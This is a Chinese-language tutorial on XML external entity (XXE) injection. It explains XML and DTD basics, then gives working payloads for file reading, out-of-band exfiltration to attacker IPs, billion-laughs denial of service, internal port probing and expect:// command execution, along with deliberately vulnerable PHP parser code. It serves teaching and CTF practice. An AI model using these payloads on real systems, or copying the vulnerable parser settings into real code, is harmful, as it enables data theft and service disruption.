XML外部实体注入简单总结
前置知识
XML
什么是XML
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。具体介绍如下
XML 指可扩展标记语言(EXtensible Markup Language)。
XML 的设计宗旨是传输数据,而不是显示数据。
XML 是 W3C 的推荐标准。
XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。
XML 语言没有预定义的标签。
XML的组成部分
XML的文档结构包含以下几种
1、XML声明
//示例: <?xml version="1.0" encoding="UTF-8"?>
2、DTD文档类型定义(可选):DTD文档类型定义是一套为了进行程序见的数据交换而建立的关于标记符的语法规则
3、文档元素
XML的构建模块模块组成与HTML类似,由下面几种组成
元素:XML文档的主要构建模块,可包含文本内容
//示例: <username>quan9i</username>
属性:提供元素的额外信息
//示例: <img src="1.jpg"/> src就是属性
实体:实体是用来定义普通文本的变量。实体引用是对实体的引用。
PCDATA(parsed character data):被解析的字符数据
ps:PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
CDATA(character data):字符数据
ps:CDATA 是不会被解析器解析的文本。
XML的作用
XML 被设计用来传输和存储数据,其焦点是数据的内容,旨在传输信息。
为什么需要XML呢,引用Qwzf
师傅的话
现实生活中一些数据之间往往存在一定的关系。我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系。XML就是为了解决这样的需求而产生数据存储格式。
XML语法规则
1、所有 XML 元素都须有关闭标签。
2、XML 标签对大小写敏感。
3、XML 必须正确地嵌套。
4、XML 文档必须有根元素。
5、XML 的属性值须加引号。
6、实体引用:在标签属性,以及对应的位置值可能会出现<>符号,但是这些符号在对应的XML中都是有特殊含义的,这时候我们必须使用对应的HTML实体来表示,
//示例:<符号对应的实体就是<
7、在XML中,空格会被保留
//示例:<p>aa空格bb</p>,这个空格会被保留
举个例子
<?xml version="1.0" encoding="UTF-8"?> <!--xml文件的声明-->
<tttang> <!--根元素-->
<article category="CTF"> <!--tttang的子元素,category为属性-->
<title>XXE</title> <!--article的子元素-->
<author>quan9i</author> <!--article的子元素-->
<year>2022</year> <!--article的子元素-->
<data>8.20</data> <!--article的子元素-->
</article> <!--article的结束-->
</tttang> <!--tttang的结束-->
此时对于XML规则有了一定的认识,我们就可以来了解一下DTD
DTD
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构,约束了xml文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
因为它既可以在内部引用,也可以在外部引用,这就造成了他有三种利用方式:内部引用
,外部引用
以及内+外引用
内部引用
格式
<!DOCTYPE 根元素[定义内容]>
示例
<?xml version="1.0"?> <!--XML声明 -->
<!DOCTYPE note [ <!--定义了note元素-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素下的四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义了note的子元素to,(#PCDATA)表示元素to是字符串形式-->
<!ELEMENT from (#PCDATA)> <!--定义了note的子元素from,(#PCDATA)表示元素from是字符串形式-->
<!ELEMENT heading (#PCDATA)> <!--定义了note的子元素heading,(#PCDATA)表示元素heading是字符串形式-->
<!ELEMENT body (#PCDATA)> <!--定义了note的子元素body,(#PCDATA)表示元素body是字符串形式-->
]>
<!-- 至此,上方是DTD文档定义-->
<note>
<to>quan9i</to>
<from>is</from>
<heading>a</heading>
<body>web xiao bai!</body>
</note>
外部引用
格式
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
示例:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>quan9i</to>
<from>is</from>
<heading>a</heading>
<body>web xiao bai!</body>
</note>
note.dtd文件的内容如下
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
内+外引用
格式
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
也就是说,在DTD中的实体类型中,一般分为:内部实体和外部实体。
实体细分又分为一般实体和参数实体。
一般实体:
定义:<!ENTITY 实体名称 "实体内容">
调用:&实体名称;
参数实体:
定义:<!ENTITY % 实体名 "实体内容”>
调用:%实体名称;
内部实体
格式
<!ENTITY 实体名称 "实体的值">
示例
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY article "XXE">
<!ENTITY author "quan9i">
]>
<test><article>&article;</article><author>&author;</author></test>
外部实体
格式
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
示例
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY author SYSTEM "quan9i.xml">
]>
<test>&author;</test>
PHP在安装扩展以后还能支持的协议:
注意:
1.其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7
update 7 和 Oracle JDK 1.6 update 35
2.libxml 是 PHP 的 xml 支持
这里的话再举个例子
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<test>&file;</test>
同时由于实体又分两种,这里的话再给出一个例子了解一下参数实体
示例
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
%file;
]>
此时对于这些知识有了一定的了解,就可以来看一下XXE了
XXE
什么是XXE
XXE漏洞全称XML External Entity Injection ,即xml外部实体注入漏洞。
漏洞成因
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
漏洞危害
造成文件读取
命令执行
内网端口扫描
攻击内网网站
发起dos攻击等危害
XXE的利用姿势
读取任意文件
有回显
测试代码如下
<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
echo $str;
?>
对代码的解释如下
file_get_contents('php://input'):获取客户端输入的内容
new DOMDocument():初始化XML解析器
loadXML($xmlfile):加载客户端输入的XML内容
simplexml_import_dom($dom)获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE。
$xxe=$xml->xxe:获取SimpleXMLElement对象中的节点XXE
echo $str:输出XXE内容。
POST上传内容
<?xml version="1.0" encoding="utf-8"?> //XML声明
<!DOCTYPE xml [ //定义xml元素
<!ENTITY quan9i SYSTEM "file:///c:/windows/system.ini"> //定义一般实体quan9i
]>
<xml>
<xxe>&quan9i;</xxe>
</xml>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY quan9i SYSTEM "file:///d:/flag.txt">
]>
<test>
<xxe>&quan9i;</xxe>
</test>
无回显
源码如下
<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
?>
构造payload如下
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.134.128/eval.xml">
%remote;%payload;%send;
]>
攻击机http://192.168.134.128
中eval.xml
的内容为
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://124.222.34.215/?file=%file;'>">
那么这个思路的话就是先调用remote,其实也就是包含这个攻击机上的文件,然后调用payload参数实体,此时就包含了file这个参数实体,然后此时就会去读取文件,那么此时send的内容就是http://192.168.134.128/?content=文件内容
,我们此时调用send,就会得到文件内容
简单的说,就是
1、调用remote-->包含eval.xml
2、调用payload-->包含file参数实体-->读取文件内容(此时send中就是文件内容了)
3、调用send(将文件内容取出)
base64解码一下
这个是把读取文件写在攻击机上了,我们也可以写入本地,像这种
构造payload
<!DOCTYPE convert [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/flag.txt">
<!ENTITY % remote SYSTEM "http://192.168.134.128/eval.xml">
%remote;%payload;%send;
]>
攻击机上eval.xml
的内容
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.134.128/?content=%file;'>">
DOS攻击(Denial of service)
通过XML外部实体注入,攻击者可以发送任意的HTTP请求,因为解析器会解析文档中的所有实体,所以如果实体声明层层嵌套的话,在一定数量上可以对服务器器造成DoS。
常见的XML恶意代码如下
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "dos">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
调用lol9
实体参数的时候,会调用10个lol8
实体参数,而每个lol8
实体参数又包含十个lol7
参数,此时就已经调用了10^2
个参数实体了,往下会更加的多,这个1K不到的文件经过解析后会耗用大量内存,最终会占用到3G的内存,由此可见这个漏洞是十分危险的
一般我们可以这样构造来进行DOS攻击
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>
内网探测
当我们获取到一个内网ip地址时,如果有回显,可以在浏览器访问根据访问时间和回显来进行判断
存活的端口回显为HTTP request failed!
不存活的端口回显位failed to open stream
我们也可以利用bp来查看端口是否存活,示例payload如下
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY file SYSTEM "http://10.244.80.20">
]>
<user><username>&file;</username><password>1</password></user>
而后利用burpsuite进行爆破,根据回显来判断出端口是否存活
说明这个未存活
具体操作见下方实战。
命令执行
php的expect扩展可以直接执行系统命令,但遗憾的是这个扩展并不是默认安装的。
payload参考
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>
回显
<file>uid=501(Apple) gid=20(staff)
groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),
80(admin),81(_appserveradm),98(_lpadmin),401(com.apple.sharepoint.group.1),
33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),
399(com.apple.access_ssh)<file>
参考资料: